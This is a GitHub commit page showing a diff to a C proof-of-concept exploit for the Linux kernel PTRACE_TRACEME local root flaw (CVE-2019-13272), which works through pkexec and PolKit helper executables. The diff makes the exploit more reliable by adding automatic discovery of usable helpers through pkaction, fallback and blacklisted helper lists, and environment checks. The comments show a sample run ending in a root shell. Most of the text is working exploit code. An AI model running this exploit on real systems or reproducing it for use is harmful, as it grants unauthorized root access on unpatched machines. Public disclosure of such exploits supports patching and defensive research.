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Prefer automatic targeting over hardcoded helper list
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The known good helpers may have a restrictive PolKit policy on some systems.

Enumerating valid usable helpers with `pkaction` is preferred.
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@bcoles
bcoles committed Dec 23, 2019
1 parent e340a58 commit dee0213
Showing 1 changed file with 128 additions and 58 deletions.
186 changes: 128 additions & 58 deletions CVE-2019-13272/poc.c
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@@ -1,5 +1,10 @@
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
//
// Uses pkexec technique. Requires execution within the context
// of a user session with an active PolKit agent.
//
// Exploitation will fail if kernel.yama.ptrace_scope >= 2;
// or SELinux deny_ptrace=on.
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
Expand All @@ -14,6 +19,7 @@
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
Expand All @@ -24,33 +30,37 @@
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - CentOS 8 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// - lubuntu 19.04 kernel 5.0.0-13-generic
// - Sabayon 19.03 kernel 4.20.0-sabayon
// - Pop! OS 19.04 kernel 5.0.0-21-generic
// ---
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Searching policies for useful helpers ...
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind
// [.] Trying helper: /usr/libexec/gsd-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// [root@localhost CVE-2019-13272]# id
// uid=0(root) gid=0(root) groups=0(root),1000(user)
// [root@localhost CVE-2019-13272]# uname -a
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
// ---

#define _GNU_SOURCE
Expand Down Expand Up @@ -80,23 +90,18 @@
# define dprintf
#endif

#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
/*
* enabled automatic targeting.
* uses pkaction to search PolKit policy actions for viable helper executables.
*/
#define ENABLE_AUTO_TARGETING 1

/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
* fall back to known helpers if automatic targeting fails.
* note: use of these helpers may result in PolKit authentication
* prompts on the session associated with the PolKit agent.
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif
#define ENABLE_FALLBACK_HELPERS 1

static const char *SHELL = "/bin/bash";

Expand All @@ -111,13 +116,17 @@ struct stat st;

const char *helpers[1024];

/* known helpers to use if automatic targeting fails */
#if ENABLE_FALLBACK_HELPERS
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/sbin/xfce4-pm-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
Expand All @@ -126,7 +135,36 @@ const char *known_helpers[] = {
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
"/usr/lib64/xfce4/session/xsfm-shutdown-helper",
};
#endif

/* helper executables known to cause problems (hang or fail) */
const char *blacklisted_helpers[] = {
"/xf86-video-intel-backlight-helper",
"/cpugovctl",
"/resetxpad",
"/package-system-locked",
"/cddistupgrader",
};

#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))

/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
Expand Down Expand Up @@ -272,31 +310,39 @@ static int check_env(void) {
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
exit(EXIT_FAILURE);
}

if (stat("/dev/grsec", &st) == 0) {
dprintf("[-] Warning: grsec is in use\n");
dprintf("[!] Warning: grsec is in use\n");
warn++;
}

if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
warn++;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {

if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
warn++;
}

if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) {
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n");
warn++;
}

if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
warn++;
}
}

dprintf("[~] Done, looks good\n");
if (warn > 0) {
dprintf("[~] Done, with %d warnings\n", warn);
} else {
dprintf("[~] Done, looks good\n");
}

return warn;
}
Expand All @@ -306,25 +352,32 @@ static int check_env(void) {
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
#if ENABLE_AUTO_TARGETING
int find_helpers() {
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path);
return 0;
}

char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run: %s\n", cmd);
exit(EXIT_FAILURE);
dprintf("[-] Failed to run %s: %m\n", cmd);
return 0;
}

char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
int blacklisted_helper = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);

while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes*/
/* check the action uses allow_active=yes */
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
Expand All @@ -334,6 +387,7 @@ int find_helpers() {

if (useful_action == 0)
continue;

useful_action = 0;

/* extract the helper path */
Expand All @@ -350,17 +404,23 @@ int find_helpers() {
buffer[i] = found[needle_length + i];
}

if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
strstr(&buffer[0], "/cpugovctl") != 0 ||
strstr(&buffer[0], "/package-system-locked") != 0 ||
strstr(&buffer[0], "/cddistupgrader") != 0) {
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
continue;
/* check helper path against helpers defined in 'blacklisted_helpers' array */
blacklisted_helper = 0;
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]);
blacklisted_helper = 1;
break;
}
}
if (blacklisted_helper == 1)
continue;

/* check the path exists */
if (stat(&buffer[0], &st) != 0)
if (stat(&buffer[0], &st) != 0) {
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]);
continue;
}

helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;
Expand All @@ -372,11 +432,12 @@ int find_helpers() {
pclose(fp);
return 0;
}
#endif

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {
dprintf("[.] Using helper: %s\n", helper_path);
dprintf("[.] Trying helper: %s\n", helper_path);

/*
* set up a pipe such that the next write to it will block: packet mode,
Expand Down Expand Up @@ -436,29 +497,38 @@ int main(int argc, char **argv) {
exit(0);
}

/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
int i;
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
}

/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
#if ENABLE_AUTO_TARGETING
/* search polkit policies for helper executables */
dprintf("[.] Searching policies for useful helpers ...\n");
find_helpers();
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;

if (stat(helpers[i], &st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
if (stat(helpers[i], &st) != 0)
continue;

helper_path = helpers[i];
ptrace_traceme_root();
}
#endif

#if ENABLE_FALLBACK_HELPERS
/* search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) != 0)
continue;

helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
#endif

dprintf("[~] Done\n");

return 0;
}

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